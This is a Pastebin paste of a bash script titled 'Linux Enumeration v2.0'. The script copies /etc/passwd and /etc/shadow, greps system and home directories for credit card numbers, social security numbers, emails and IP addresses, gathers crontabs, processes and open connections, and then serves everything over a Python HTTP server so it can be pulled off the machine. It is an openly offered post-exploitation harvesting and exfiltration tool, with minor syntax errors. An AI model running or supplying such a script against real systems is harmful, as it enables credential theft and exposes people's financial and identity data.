Advertisement
Guest User

Llnux Enumeration v2.0

a guest
Jan 22nd, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.35 KB | None | 0 0
  1. !/bin/bash
  2.  
  3. mkdir -p /tmp/Enumeration/GrepStuff && cd /tmp/Enumeration/GrepStuff/
  4. echo "Moved to GREPSTUFF"
  5. grep -EIrino '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' /etc /usr /var /root /home >> IPADDRESSES 2>/dev/null
  6. echo "IP Addresses found : Located in IPADDRESSES"
  7. grep -EIrino '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b' /etc /var /root /home >> Emails 2>/dev/null
  8. echo "E-Mails found : Located in EMails"
  9. grep -EIrino '[a-zA-Z]{1,10}[0-9]{1,4}' /etc /root /home >> Usernames 2>/dev/null
  10. echo "Usernames Found : Located in Usernames"
  11. grep -EIrino '[0-9]{4}-[0-9]{4}-[0-9]{4}-[0-9]{4}' /etc /usr /var /root /home >> CCINFO 2>/dev/null
  12. echo "Credit Card Info Found : Located in CCINFO"
  13. grep -EIrino '[0-9]{3}-[0-9]{2}-[0-9]{4}' /etc /usr /var /root /home >> SSINFO 2>/dev/null
  14. echo "SSN Info Found : Located in SSINFO"
  15. echo ""
  16. echo "GREP SEARCHES COMPLETE : Filter as needed"
  17.  
  18. cd /tmp/Enumeration/
  19. echo "Gathering Open Connections"
  20. netstat -pant >> TCP_UDP_Open
  21. echo ""
  22. echo "UDP CONNECTIONS"
  23. echo ""
  24. netstat -panu >> TCP_UDP_Open
  25. echo ""
  26. echo "Ports Scanned : TCP_UDP_Open
  27.  
  28. cd /tmp/Enumeration/
  29. echo "Gathering Processes"
  30. ps -ef >> Proc_List_w_Paths
  31. ps -axf >> Proc_List_w_Tree
  32. echo "Processes Gathered : Proc_List_w_Paths & Proc_List_w_Tree
  33.  
  34. mkdir -p /tmp/Enumeration/UserInfo && cd /tmp/Enumeration/UserInfo
  35. echo "Gathering User and Group Information"
  36. cat /etc/passwd >> Passwd
  37. cat /etc/shadow >> Shadow
  38. cat /etc/group >> Group
  39. echo "User and Group Info Gathered : Passwd Shadow and Group"
  40. echo "Disclaimer: Shadow MAY be empty due to access privledges"
  41.  
  42. mkdir -p /tmp/Enumeration/Crons && cd /tmp/Enumeration/Crons
  43. echo "Gathering Crontab Info"
  44. for i in $( cat /etc/passwd | cut -d: -f1 ); do crontab -u $i -l >> Crontab_Individual 2>/dev/null; done
  45. echo "Individual Users Crontabs Found : Crontab_Individual"
  46. ls -lisa /etc/cron* >> System_Crons
  47. echo "System Crons Gathered : System_Crons"
  48.  
  49. cd /tmp/Enumeration/
  50. for i in $( ls /etc/init.d ); do echo $i; cat $i; echo ""; echo ""; echo "Start of Next File"; done
  51. echo "Gathering RC Files"
  52. echo "Disclaimer: "Start of Next File" is prior to every trailing file"
  53.  
  54. cd /tmp
  55. IP= $( ip addr | grep inet | grep eth0 | awk '{ print $2 }' | cut -d/ -f1)
  56. echo -n "Pick a Port: "
  57. read a
  58.  
  59. echo $a
  60. (python -m SimpleHTTPServer $a) &
  61. echo "Server Started"
  62. echo "Files hosted on $IP:$a"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement